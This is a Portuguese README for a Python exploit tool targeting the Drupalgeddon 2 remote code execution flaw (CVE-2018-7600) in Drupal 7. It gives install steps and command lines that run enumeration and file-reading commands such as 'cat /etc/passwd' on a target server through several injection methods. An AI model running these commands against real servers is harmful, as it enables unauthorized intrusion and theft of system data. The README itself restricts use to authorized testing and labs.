🔥 Drupalgeddon 2 Exploit — bixi.py

📖 Descrição

bixi.py é um exploit para a vulnerabilidade CVE‑2018‑7600 (Drupalgeddon 2) que afeta Drupal 7. Permite a execução remota de comandos (RCE) em servidores Drupal vulneráveis através de uma interface intuitiva e comandos predefinidos.

---

⚠️ DISCLAIMER / AVISO LEGAL

ESTE SOFTWARE É APENAS PARA FINS EDUCATIVOS E DE PESQUISA EM AMBIENTES CONTROLADOS.

• Utilize apenas em sistemas que você possua ou tenha permissão por escrito para testar
• O uso não autorizado é ILEGAL e pode resultar em consequências penais
• O autor não se responsabiliza pelo mau uso desta ferramenta
• Cumpra sempre as leis locais e internacionais de cibersegurança

"Com grandes poderes vêm grandes responsabilidades"

---

📋 Características

• ✅ Exploração automática de CVE‑2018‑7600
• ✅ Comandos predefinidos para Linux e Windows
• ✅ Múltiplos métodos de injeção (system, passthru, exec, shell_exec)
• ✅ Interface intuitiva com sistema de ajuda
• ✅ Tratamento robusto de erros e timeouts
• ✅ Saída formatada e fácil de ler

---

🚀 Instalação Rápida

1. Clonar repositório

git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600

2. Instalar dependências

# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests

# Outras distribuições
pip3 install requests

3. Dar permissões de execução

chmod +x bixi.py

---

🎯 Uso Básico

Ver ajuda completa

python3 bixi.py --help

Sintaxe geral

python3 bixi.py <URL> <COMANDO/PALAVRA_CHAVE> [TIPO_INJEÇÃO]

Exemplos práticos

# Verificar vulnerabilidade
python3 bixi.py http://10.99.99.6/drupal/ test

# Detectar sistema operacional
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows

# Enumerar usuários
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user

# Informação do sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig

# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"

---

📊 Palavras Chave Predefinidas

🐧 Linux

Comando	Descrição
linux	Informação do sistema
users_linux	Listar usuários
id	Info de usuário/grupos
ls	Listar arquivos
ifconfig	Info de rede
find_flag	Buscar flags

🪟 Windows

Comando	Descrição
windows	Informação do sistema
net_user	Listar usuários
whoami_win	Info detalhada
ipconfig	Rede
netstat_win	Conexões
dir	Listar diretório

🔧 Pentesting

Comando	Descrição
sudo	Verificar privilégios sudo
suid	Buscar binários SUID
net_localgroup	Grupos locais
drupal_config	Buscar configurações
drupal_version	Obter versão do Drupal

---

🎨 Métodos de Injeção

# system (default)
python3 bixi.py http://target/ "whoami" system

# passthru
python3 bixi.py http://target/ "whoami" passthru

# exec
python3 bixi.py http://target/ "whoami" exec

# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec

---

🏗️ Estrutura do Projeto

drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│   ├── linux_commands.txt
│   └── windows_commands.txt
└── screenshots/
    ├── help_screen.png
    └── exploit_success.png

---

🔧 Configuração Avançada

Proxy (opcional)

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

Timeout

Modificar valor por defecto (15 segundos):

timeout=15

Adicionar novos comandos

Editar o dicionário commands em get_command_for_keyword()

---

🐛 Solução de Problemas

Erro: No module named 'requests'

pip3 install requests

Erro: Connection refused

# Verificar conectividade
ping TARGET_IP

# Verificar rota Drupal
curl http://TARGET_IP/drupal/